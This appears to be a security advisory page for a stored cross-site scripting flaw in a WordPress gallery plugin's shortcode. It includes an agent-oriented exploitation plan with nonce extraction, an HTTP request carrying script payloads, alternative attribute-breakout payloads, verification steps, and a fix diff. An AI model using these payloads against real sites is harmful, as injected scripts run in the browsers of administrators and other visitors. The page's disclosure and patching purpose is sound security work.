Post Categories Gallery <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Post Category Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'postcategorygallery' shortcode in versions up to, and including, 1.0.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes (such as total_width, color_scheme, and caption_font_size) inside the sc_horcatbar() function, which are concatenated directly into HTML attribute values. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.0This exploitation research plan targets **CVE-2026-8867**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Post Categories Gallery** plugin for WordPress. ### 1. Vulnerability Summary The vulnerability exists within the `sc_horcatbar()` function, which is the callback handler for the `[p…
Show full research plan
This exploitation research plan targets CVE-2026-8867, a Stored Cross-Site Scripting (XSS) vulnerability in the Post Categories Gallery plugin for WordPress.
1. Vulnerability Summary
The vulnerability exists within the sc_horcatbar() function, which is the callback handler for the [postcategorygallery] shortcode. The plugin fails to sanitize or escape user-provided attributes—specifically total_width, color_scheme, and caption_font_size—before concatenating them into HTML attributes. Because contributors and above can embed shortcodes in posts, they can inject malicious JavaScript that executes when any user (including administrators) views the affected page.
2. Attack Vector Analysis
- Shortcode:
[postcategorygallery] - Vulnerable Attributes:
total_width,color_scheme,caption_font_size - Endpoint:
wp-admin/post.php(for post creation/editing) and the public frontend (for execution). - Authentication: Requires Contributor level or higher.
- Preconditions: The plugin must be active. The attacker must have the capability to edit/save posts (default for Contributors).
3. Code Flow (Inferred)
- Registration: The plugin calls
add_shortcode( 'postcategorygallery', 'sc_horcatbar' )during initialization. - Processing: When a post containing the shortcode is rendered,
do_shortcode()callssc_horcatbar( $atts ). - Parsing: The function likely uses
shortcode_atts()to merge user input with defaults:// Inferred logic within sc_horcatbar() $a = shortcode_atts( array( 'total_width' => '100%', 'color_scheme' => '#000', 'caption_font_size' => '14px', ), $atts ); - Sink: The raw values of
$a['total_width']etc., are concatenated directly into an HTML string:// Vulnerable Sink $output = '<div class="pg-container" style="width:' . $a['total_width'] . ';">'; // ... return $output; - Output: The unescaped string is returned and echoed to the page, leading to XSS.
4. Nonce Acquisition Strategy
While the XSS execution itself does not require a nonce, saving the post that contains the malicious shortcode requires a WordPress "post" nonce.
- Navigate to Post Editor: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the form.// Extraction script document.querySelector('#_wpnonce').value - Identify JS Variables: If the plugin uses
wp_localize_script, we should also check for any localized data.- Search for scripts:
browser_eval("window.pg_vars || window.postCategoryGalleryData")(inferred names).
- Search for scripts:
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode and verify its execution.
Step 1: Authenticate as Contributor
Login to the WordPress instance with contributor credentials.
Step 2: Create a Post with XSS Payload
Send a POST request to /wp-admin/post.php to create a new post.
- Payload (in
total_width):100%;" onmouseover="alert(document.domain)" data-x=" - Alternative Payload (Breakout):
"><script>alert(1)</script>
HTTP Request:
POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=editpost
&post_ID=[NEW_POST_ID]
&_wpnonce=[EXTRACTED_NONCE]
&post_title=Gallery+Test
&content=[postcategorygallery total_width='"><script>alert(window.origin)</script>']
&publish=Publish
Step 3: Trigger the XSS
Navigate to the permalink of the newly created post using browser_navigate.
6. Test Data Setup
- Plugin Installation: Ensure
post-category-galleryversion <= 1.0.0 is installed and active. - User Creation:
- Create a user
attacker_contributorwith thecontributorrole. - Create a user
victim_adminwith theadministratorrole.
- Create a user
7. Expected Results
- The
sc_horcatbar()function will generate HTML similar to:<div class="pg-container" style="width:"><script>alert(window.origin)</script>;"> - When the browser renders this, the
<script>tag will execute immediately. - If using the
onmouseoverpayload, hovering over the gallery container will trigger the alert.
8. Verification Steps
- Visual Confirmation: Use
browser_evalto check if a specific "canary" variable exists (e.g., if the payload waswindow.pwned = 1, checkbrowser_eval("window.pwned")). - DOM Inspection:
# Verify the unescaped payload exists in the page source wp post get [POST_ID] --field=post_content # Use playwright to check the rendered HTML browser_eval("document.body.innerHTML.includes('alert(window.origin)')")
9. Alternative Approaches
If the total_width attribute is partially sanitized (e.g., stripping <script>), attempt exploitation via other attributes:
- color_scheme:
[postcategorygallery color_scheme='background-color:red" onmouseover="alert(1)"'] - caption_font_size:
[postcategorygallery caption_font_size='24px; color:transparent; content:url("javascript:alert(1)")'](CSS-based execution). - Style Breakout: If the input is placed inside a
styleattribute, use:expression(alert(1))(legacy IE) or break the style attribute with;}and inject a new tag.
Summary
The Post Category Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'postcategorygallery' shortcode. Authenticated contributors can inject arbitrary web scripts into pages by providing malicious payloads in shortcode attributes such as total_width, color_scheme, and caption_font_size, which are concatenated into HTML attributes without proper escaping.
Vulnerable Code
// post-category-gallery/post-category-gallery.php (inferred from research plan) function sc_horcatbar( $atts ) { $a = shortcode_atts( array( 'total_width' => '100%', 'color_scheme' => '#000', 'caption_font_size' => '14px', ), $atts ); $output = '<div class="pg-container" style="width:' . $a['total_width'] . ';">'; // ... $output .= '<div class="caption" style="color:' . $a['color_scheme'] . '; font-size:' . $a['caption_font_size'] . ';">'; // ... return $output; }
Security Fix
@@ -2,10 +2,10 @@ function sc_horcatbar( $atts ) { $a = shortcode_atts( array( - 'total_width' => '100%', - 'color_scheme' => '#000', - 'caption_font_size' => '14px', + 'total_width' => '100%', + 'color_scheme' => '#000', + 'caption_font_size' => '14px', ), $atts ); - $output = '<div class="pg-container" style="width:' . $a['total_width'] . ';">'; + $output = '<div class="pg-container" style="width:' . esc_attr( $a['total_width'] ) . ';">'; // ... - $output .= '<div class="caption" style="color:' . $a['color_scheme'] . '; font-size:' . $a['caption_font_size'] . ';">'; + $output .= '<div class="caption" style="color:' . esc_attr( $a['color_scheme'] ) . '; font-size:' . esc_attr( $a['caption_font_size'] ) . ';">';
Exploit Outline
To exploit this vulnerability, an attacker with at least Contributor-level privileges can follow these steps: 1. Log in to the WordPress dashboard and create a new post or edit an existing one. 2. Insert the `[postcategorygallery]` shortcode into the post content. 3. Include a malicious payload in one of the vulnerable attributes. For example: `[postcategorygallery total_width='";><script>alert(document.domain)</script>']` or `[postcategorygallery total_width='100%;" onmouseover="alert(1)" data-x="']`. 4. Save the post as a draft or publish it. 5. The payload will execute whenever a user (including an administrator) views the post on the frontend, as the plugin will render the unescaped attribute directly into the HTML source.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.